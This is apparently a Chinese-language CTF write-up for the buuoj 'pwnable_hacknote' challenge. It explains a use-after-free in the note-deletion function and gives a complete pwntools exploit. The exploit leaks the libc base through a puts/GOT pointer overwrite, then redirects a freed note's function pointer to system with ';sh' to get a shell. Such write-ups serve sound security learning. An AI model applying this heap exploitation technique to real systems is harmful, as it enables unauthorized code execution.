buuoj刷题记录 - pwnable_hacknote

查看程序保护:
buuoj刷题记录 - pwnable_hacknote_第1张图片
拖进IDA分析一下,

Add函数正常,先创建八个字节的内存
struct Node{
{
void* func_addr;
void* content;
}
然后根据输入的size开辟相应大小的内存
buuoj刷题记录 - pwnable_hacknote_第2张图片

问题存在于DelNote函数中,free后没有置0
buuoj刷题记录 - pwnable_hacknote_第3张图片
看一下PrintNote函数:
buuoj刷题记录 - pwnable_hacknote_第4张图片
根据八个字节的前四个字节调用对应的函数,并把这个八个字节的首地址作为参数

若Note被free后,还是可以调用Print函数的,由于不确定func_addr是什么,所以会出现问题.

构造方法:
先Add两个Note
buuoj刷题记录 - pwnable_hacknote_第5张图片
free掉1,free掉2,使他们到fastbin里面

Add一个size为8的Note,这个新Note的content就是Note 0的那8个字节

payload = p32(puts) + p32(got)
之后调用PrintNote(0),便可以泄露libc基址

之后free掉Note2,AddNote(2),payload = p32(system) + b’;sh\x00’

然后PrintNote(0)便可以getshell,此处利用了system以;作为分隔符的特点,前面的指令(在这里就是system的地址,四个字节没有\x00截断)无效也不会影响getshell(one_gadget也是一种思路,试了一下,没有一个能用)

exp:

from pwn import*

#sh = process('./pwn')
sh = remote('node4.buuoj.cn',25539)
def AddNote(size,payload):
    sh.sendlineafter(b'Your choice :',b'1')
    sh.sendlineafter(b'Note size :',str(size).encode())
    sh.sendafter(b'Content :',payload)
    sh.recvuntil(b'Success !')

def DelNote(idx):
    sh.sendlineafter(b'Your choice :',b'2')
    sh.sendlineafter(b'Index :',str(idx))
    sh.recvuntil(b'Success')

def PrintNote(idx):
    sh.sendlineafter(b'Your choice :',b'3')
    sh.sendlineafter(b'Index :',str(idx))
    return sh.recvline()

AddNote(0x10,b'note0') 
AddNote(0x10,b'note1')

DelNote(0)
DelNote(1)

AddNote(0x8,p32(0x804862B) + p32(0x804A034))        #2

libc_base = u32(PrintNote(0)[:-1]) - 0x0002d050

system = libc_base + 0x003a940
bin_sh = libc_base + 0x0015902B

log.success("libc_base:%x \n",libc_base)

print(hex(libc_base))

DelNote(2)
AddNote(0x8,p32(system) + b';sh\x00')          #3

sh.sendlineafter(b'Your choice :',b'3')
sh.sendlineafter(b'Index :',b'0')
sh.interactive()

成功getshell:
在这里插入图片描述
图中无效的命令就是system的地址

你可能感兴趣的:(pwn入门,安全)